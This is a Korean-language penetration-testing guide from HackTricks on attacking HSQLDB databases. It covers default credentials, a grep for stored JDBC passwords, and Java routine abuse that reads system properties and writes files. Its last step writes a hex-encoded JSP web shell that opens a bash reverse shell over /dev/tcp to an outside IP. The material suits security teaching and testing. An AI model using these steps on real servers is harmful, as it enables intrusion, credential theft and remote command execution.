hacktricks/src/network-services-pentesting/9001-pentesting-hsqldb.md

70 lines
3.5 KiB
Markdown

# 9001 - Pentesting HSQLDB
{{#include ../banners/hacktricks-training.md}}
## 기본 정보
**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)**는 Java로 작성된 주요 SQL 관계형 데이터베이스 시스템입니다. 메모리 내 및 디스크 기반 테이블을 갖춘 작고 빠른 다중 스레드 및 트랜잭션 데이터베이스 엔진을 제공하며, 임베디드 및 서버 모드를 지원합니다.
**기본 포트:** 9001
```text
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
```
## 기본 설정
기본적으로 이 서비스는 메모리에서 실행되거나 localhost에 바인딩되어 있을 가능성이 높습니다. 이를 발견했다면, 아마도 다른 서비스를 이용해 취약점을 이용하고 권한 상승을 시도하고 있는 것입니다.
기본 자격 증명은 일반적으로 `sa`와 빈 비밀번호입니다.
다른 서비스를 이용했다면, 가능한 자격 증명을 검색하십시오.
```text
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
```
데이터베이스 이름을 주의 깊게 기록하세요 - 연결하는 데 필요합니다.
## 정보 수집
[HSQLDB 다운로드](https://sourceforge.net/projects/hsqldb/files/) 후 `hsqldb/lib/hsqldb.jar`를 추출하여 DB 인스턴스에 연결합니다. `java -jar hsqldb.jar`를 사용하여 GUI 앱 \(eww\)을 실행하고 발견된/약한 자격 증명을 사용하여 인스턴스에 연결합니다.
원격 시스템의 경우 연결 URL은 다음과 비슷하게 보일 것입니다: `jdbc:hsqldb:hsql://ip/DBNAME`.
## 트릭
### 자바 언어 루틴
HSQLDB에서 자바 언어 루틴을 사용하여 자바 클래스의 정적 메서드를 호출할 수 있습니다. 호출된 클래스는 애플리케이션의 클래스 경로에 있어야 합니다.
JRT는 `functions` 또는 `procedures`일 수 있습니다. 함수는 자바 메서드가 하나 이상의 SQL 호환 기본 변수를 반환하는 경우 SQL 문을 통해 호출할 수 있습니다. `VALUES` 문을 사용하여 호출됩니다.
우리가 호출하려는 자바 메서드가 void를 반환하는 경우, `CALL` 문으로 호출되는 프로시저를 사용해야 합니다.
### 자바 시스템 속성 읽기
함수 생성:
```text
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
```
함수 실행:
```text
VALUES(getsystemproperty('user.name'))
```
다음은 [시스템 속성 목록을 여기에서 찾을 수 있습니다](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
### 파일에 내용 쓰기
`com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java 가젯을 사용하여 사용자 정의 프로시저를 통해 16진수 인코딩된 항목을 디스크에 쓸 수 있습니다 \(JDK에 자동으로 로드됨\). **최대 크기는 1024 바이트입니다**.
프로시저 생성:
```text
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
```
프로시저 실행:
```text
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
```
{{#include ../banners/hacktricks-training.md}}